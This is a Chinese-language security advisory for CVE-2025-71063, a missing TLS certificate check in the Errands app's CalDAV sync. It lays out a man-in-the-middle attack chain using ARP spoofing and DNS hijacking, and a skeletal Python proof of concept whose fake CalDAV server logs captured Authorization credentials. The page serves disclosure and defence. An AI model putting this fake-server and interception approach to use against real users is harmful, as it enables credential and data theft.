IPBUF安全漏洞报告
English
CVE-2025-71063 CVSS 8.2 高危

CVE-2025-71063: Errands应用CalDAV服务器TLS证书验证缺失漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2025-71063
漏洞类型
TLS证书验证缺失/中间人攻击
CVSS评分
8.2 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Errands

相关标签

TLS证书验证缺失中间人攻击CalDAVErrands高危网络通信安全证书验证绕过

漏洞概述

CVE-2025-71063是Errands应用程序中的一个高危安全漏洞,该应用是一款开源的任务管理工具,支持与CalDAV服务器同步待办事项。漏洞源于Errands在46.2.10之前的版本未对CalDAV服务器的TLS证书进行验证,导致应用程序无法确认服务器身份的真实性。攻击者可以利用这一缺陷在相邻网络中进行中间人攻击(MITM),拦截、篡改或窃取应用程序与CalDAV服务器之间的通信数据。由于Errands可能处理用户的敏感任务信息(如日程安排、项目计划等),该漏洞可能导致用户隐私数据泄露或任务数据被恶意篡改。CVSS评分8.2反映出该漏洞具有较高的安全影响,虽然攻击复杂度为高且需要邻接网络访问,但机密性和完整性影响均达到高等级。

技术细节

Errands应用程序在实现CalDAV同步功能时,使用了HTTP/HTTPS连接与CalDAV服务器通信。然而在46.2.10之前的版本中,应用程序在建立TLS连接时跳过了证书验证步骤。具体表现为:应用程序未调用SSLContext.check_hostname()进行主机名验证,未使用load_verify_locations()或set_default_verify_paths()加载受信任的CA证书库,也未对服务器返回的证书进行链式验证。这导致攻击者可以部署伪造的CalDAV服务器或进行ARP欺骗、DNS劫持等中间人攻击,向客户端返回任意证书而不会被拒绝。攻击者利用此漏洞可以获取用户在CalDAV服务器上的认证凭据、读取或修改同步的任务数据、注入恶意内容到同步的数据中。修复版本46.2.10在commit 04e567b中增加了正确的TLS证书验证逻辑。

攻击链分析

STEP 1
1
侦察阶段:攻击者位于Errands用户所在的相邻网络(WiFi网络、局域网等),扫描网络发现CalDAV同步流量模式
STEP 2
2
中间人部署:攻击者执行ARP欺骗或DNS劫持,将目标设备的CalDAV连接流量重定向到攻击者控制的服务
STEP 3
3
证书伪造:攻击者部署带有自签名证书或伪造证书的恶意CalDAV服务器,冒充合法的同步服务器
STEP 4
4
连接拦截:Errands客户端尝试连接CalDAV服务器,由于未验证证书,接受攻击者提供的无效证书,建立加密通道(实际上是到攻击者的通道)
STEP 5
5
数据窃取:攻击者通过中间人通道截获用户认证凭据、任务数据、日程安排等敏感信息
STEP 6
6
数据篡改:攻击者可以修改截获的同步数据,注入恶意内容或更改任务状态,影响用户正常使用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-71063 PoC - TLS Certificate Validation Bypass # This PoC demonstrates the vulnerability where Errands does not verify # CalDAV server TLS certificates import http.server import ssl import subprocess from datetime import datetime from pathlib import Path def generate_malicious_cert(): """Generate self-signed certificate for MITM attack""" # In real attack, attacker would use openssl to generate cert: # openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes pass def setup_fake_caldav_server(): """ Setup a fake CalDAV server with invalid/self-signed certificate. This simulates what Errands would connect to without cert validation. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Using self-signed certificate - should be rejected but Errands accepts it context.load_cert_chain('attacker_cert.pem', 'attacker_key.pem') # Simulate CalDAV responses to capture authentication data class MaliciousCalDAVHandler(http.server.BaseHTTPRequestHandler): def do_PROPFIND(self): # Log credentials from Authorization header auth_header = self.headers.get('Authorization', '') if auth_header: print(f"[+] Captured credentials: {auth_header}") # Return fake task data self.send_response(207) self.send_header('Content-Type', 'application/xml') self.end_headers() self.wfile.write(b'<?xml version="1.0"?><multistatus/>') def log_message(self, format, *args): # Suppress server logs pass return MaliciousCalDAVHandler def demonstrate_mitm_scenario(): """ Demonstrate the MITM attack scenario: 1. Attacker on adjacent network performs ARP spoofing 2. Traffic is redirected through attacker's machine 3. Attacker intercepts connection to legitimate CalDAV server 4. Fake server with invalid cert is presented 5. Vulnerable Errands client accepts the certificate 6. Attacker captures/modifies data in transit """ attack_steps = [ {"step": 1, "action": "ARP Spoofing", "description": "Attacker performs ARP spoofing on adjacent network to intercept traffic"}, {"step": 2, "action": "DNS Manipulation", "description": "Attacker manipulates DNS to redirect caldav.example.com to malicious server"}, {"step": 3, "action": "Fake Server Setup", "description": "Attacker sets up HTTPS server with self-signed/invalid certificate"}, {"step": 4, "action": "Connection Interception", "description": "Errands client connects without cert validation, accepting attacker's cert"}, {"step": 5, "action": "Data Exfiltration", "description": "Attacker captures credentials, reads/modifies task data in transit"} ] return attack_steps if __name__ == "__main__": print("CVE-2025-71063 TLS Certificate Validation Bypass PoC") print("=" * 60) print("Vulnerable: Errands < 46.2.10") print("Attack Type: Man-in-the-Middle (MITM)") print("=" * 60) # Note: This PoC requires proper certificates and network positioning # In production, ensure you have authorization before testing

影响范围

Errands < 46.2.10

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1)避免使用公共WiFi等不可信网络进行Errands CalDAV同步;2)确保CalDAV服务器部署在可信的私有网络中;3)使用VPN建立安全通道后再进行同步操作;4)监控Errands应用程序的网络连接日志,排查异常连接行为。根本解决方案仍是升级到46.2.10版本以启用正确的TLS证书验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表